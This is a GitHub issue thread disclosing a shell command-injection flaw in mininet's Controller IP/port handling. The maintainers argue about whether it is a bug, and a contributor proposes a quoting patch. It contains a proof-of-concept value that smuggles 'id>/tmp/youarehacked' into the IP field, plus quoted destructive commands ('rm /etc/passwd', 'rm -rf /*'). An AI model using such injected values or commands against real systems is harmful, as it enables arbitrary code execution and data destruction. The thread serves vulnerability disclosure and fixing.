Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

security issue in mininet, may cause arbitary code execution #850

Open
kericwy1337 opened this issue Jan 3, 2019 · 8 comments · May be fixed by #1107
Open

security issue in mininet, may cause arbitary code execution #850

kericwy1337 opened this issue Jan 3, 2019 · 8 comments · May be fixed by #1107

Comments

@kericwy1337
Copy link

Mininet uses GitHub issues for bug reports and feature requests only.
These issues can be viewed at bugs.mininet.org

If you have a question that is not a bug report or a feature request,
please use the documentation at docs.mininet.org, the FAQ
at faq.mininet.org, and the mininet-discuss mailing list.

For bug reports, please fill in the following information in detail,
and also feel free to include additional information such as debug
output from mn -v debug, etc.
--- Cut Here ---

Expected/Desired Behavior:

create an mininet network.

Actual Behavior:

arbitary code execution

Detailed Steps to Reproduce the Behavior:

We found a security issue that may cause arbitary code execution.

the call stack is:
Controller => __init__ => checkListening => listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )
source code:

# mininet/mininet/node.py
class Controller( Node ):
    """A Controller is a Node that is running (or has execed?) an
       OpenFlow controller."""

    def __init__( self, name, inNamespace=False, command='controller',
                  cargs='-v ptcp:%d', cdir=None, ip="127.0.0.1",
                  port=6653, protocol='tcp', **params ):
        self.command = command
        self.cargs = cargs
        self.cdir = cdir
        # Accept 'ip:port' syntax as shorthand
        if ':' in ip:
            ip, port = ip.split( ':' )
            port = int( port )
        self.ip = ip
        self.port = port
        self.protocol = protocol
        Node.__init__( self, name, inNamespace=inNamespace,
                       ip=ip, **params  )
        self.checkListening()

    def checkListening( self ):
        "Make sure no controllers are running on our port"
        # Verify that Telnet is installed first:
        out, _err, returnCode = errRun( "which telnet" )
        if 'telnet' not in out or returnCode != 0:
            raise Exception( "Error running telnet to check for listening "
                             "controllers; please check that it is "
                             "installed." )
        listening = self.cmd( "echo A | telnet -e A %s %d" %
                              ( self.ip, self.port ) )
        if 'Connected' in listening:
            servers = self.cmd( 'netstat -natp' ).split( '\n' )
            pstr = ':%d ' % self.port
            clist = servers[ 0:1 ] + [ s for s in servers if pstr in s ]
            raise Exception( "Please shut down the controller which is"
                             " running on port %d:\n" % self.port +
                             '\n'.join( clist ) )

We focus on:

listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )

self.cmd() execute what ever passed to it. We can see that self.ip and self.port are user controllable inputs,without any kind of filter or other defences. So if we gave a malicious IP, we can get an arbitary code execution.

Using self.cmd() without defence is quite dangerous, because sometimes the attacker can control the input of ip or port. For example, the supply chain attack, or some developer encapsulate mininet with a web page so that the attacker may give a malicious IP/PORT to make arbitary code execution.

We strongly suggest to add some kind of defence here, or totally change the mechanism of some functions.

Our exploit is as follows:

#!/usr/bin/python

from mininet.net import Mininet
from mininet.node import RemoteController
from mininet.log import setLogLevel, info

CONTROLLER_IP='127.0.0.1;id>/tmp/youarehacked;#'
CONTROLLER_PORT=6653

info('Controller IP Addr:', CONTROLLER_IP, '\n' )
info('Controller Port:', CONTROLLER_PORT, '\n' )

def customNet():
    net = Mininet( topo=None, build=False )
    info( 'Adding controller\n' )
    net.addController( 'c0',
        controller=RemoteController,
        ip=CONTROLLER_IP,
        port=CONTROLLER_PORT
        )

if __name__ == '__main__':
    setLogLevel( 'info' )
    customNet()

the results is shown below:

Additional Information:

please think about fixing this kind of security problems.

@lantz
Copy link
Member

lantz commented Jan 4, 2019

I don't recommend running untrusted Python scripts (or any untrusted code) as root.

If you're looking for an "exploit," why not just use the shell escape?

mininet> sh rm /etc/passwd

By design, Mininet runs as root and permits shell escapes, but it can be run in a container or VM if you wish greater isolation. Usually people run it in a VM.

However, I would consider a patch to make it possible to run Mininet as a non-root user, if you are interested in putting one together.

@kericwy1337
Copy link
Author

Yes, i totally agree that a user shouldn't run untrusted scripts, and some mininet REPL function is designed for command execution(such as the sh).
However, i focus about the __init__ in Controller.
what i want so say is that in __init__ of controller, that suggested to be some kind of IP check and PORT check. because that developer don't know what happened is the mininet library, he my use an user input as the IP and PORT in __init__ with out any kind of defence. that could cause command execution. and those developer's machine may get compromised.
To make the mininet library safer and more people could use it without worrying about security problems , i just suggest to add some kind of check in __init__ function.
The easiest regex could solve the possible risk of command execution :)

examples of checking IP
checking if IP is a domain name:
^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$
checking if IP is an IP:
((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
a simple check by regex for IP and PORT param could make the mininet library safer :)

thanks for your hard working for mininet, and hope the mininet could be better and better :)

@kericwy1337
Copy link
Author

If a developer what to write his UI website for creating SDN network, I think depending the developer to check the user-input of IP and PORT is not so practical...... cause many developers will simplely pass the user input to the __init__ of Controller......And that may cause problems.

To avoid these kind of problem from the root...... it's better perform a check in __init__ ......
thanks : )

@lantz
Copy link
Member

lantz commented Jan 5, 2019

I'm not convinced that input vetting makes it any more secure, and it makes the code more complicated, which can make it harder to understand and less reliable.

However, feel free to submit a pull request if you think it's actually useful.

As I noted, since Mininet currently runs as root the best idea is to run it in its own VM (or on a dedicated bare metal server) and that's what we recommend.

It's also possible to run Mininet in a container with virtual root rather than real root. However, since it shares the same kernel it's not particularly secure (though it may help prevent some accidental errors - see below.)

It may also be possible to make Mininet run with more granular capabilities; at the minimum, it would need to be able to create network namespaces and to add interfaces in both the root and host namespaces.

At the end of the day, you're running a Python script with root access, so you shouldn't accept untrusted input. Or code for that matter:

# XXX Don't try this "typo" at home
s1.cmd('rm -rf /tmp/foo /*')

@kericwy1337
Copy link
Author

yep, i see that people should run mininet in virtual machine. However, one may run it on his server to create a SDN environment, that may cause proplem .
maybe because i majored in cyber security, so i am more sensitive to some kind of problems. : )
All right, I will submit a pull request these days to make it safer : )

@lantz
Copy link
Member

lantz commented Jan 5, 2019

I don't understand how the changes you suggest would somehow "make it safer?"

I'm also a bit unclear on how would you "exploit" this without either 1) running malicious/untrusted code as root (as in your example) or 2) accepting malicious/untrusted user input (including command line arguments or environment variables) into a script running as root?

Are you expecting that a rogue DNS server could be used to exploit this somehow, or ??? Perhaps you can provide an example which doesn't require untrusted user input (including environment variables, command line options, configuration files, etc.) and/or untrusted code?

That being said, I think the right approach for IP addresses in the long run (e.g. Mininet 3.x) might be to make them first class objects which are also interoperable with strings (perhaps a subclass of string or something.) The "simple" fix would be to vet input, but that isn't scalable and makes the code harder to read and understand. We could also add type annotations to Mininet (which is also now compatible with Python 3) and possibly use a type checker to the code check.

As I noted before, making Mininet's permissions requirements more granular might be useful. I also think that we should have systematic error checking and recovery, which we don't currently have.

Probably the most important thing to realize is that this isn't really a bug - it is an intentional implementation choice to make the code simpler and easier to understand. Mininet is basically a root shell, so you shouldn't pass untrusted input to it, and you shouldn't run untrusted scripts. If you want better isolation, the best practice for now is probably to run it in a VM, dedicated server, or container.

@cheriimoya
Copy link
Contributor

wouldn't it be sufficient to simply apply this small change?

-listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )
+listening = self.cmd( "echo A | telnet -e A '%s' '%d'" % ( self.ip, self.port ) )

cheriimoya added a commit to cheriimoya/mininet that referenced this issue Feb 2, 2022
@cheriimoya
Copy link
Contributor

wouldn't it be sufficient to simply apply this small change?

-listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )
+listening = self.cmd( "echo A | telnet -e A '%s' '%d'" % ( self.ip, self.port ) )

when trying your exploit with this patch, i get

$ sudo python3 exploit.py
Adding controller
Unable to contact the remote controller at 127.0.0.1;id>/tmp/youarehacked;#:6653

@cheriimoya cheriimoya linked a pull request Feb 2, 2022 that will close this issue
cheriimoya added a commit to cheriimoya/mininet that referenced this issue Apr 3, 2022
cheriimoya added a commit to cheriimoya/mininet that referenced this issue Apr 3, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants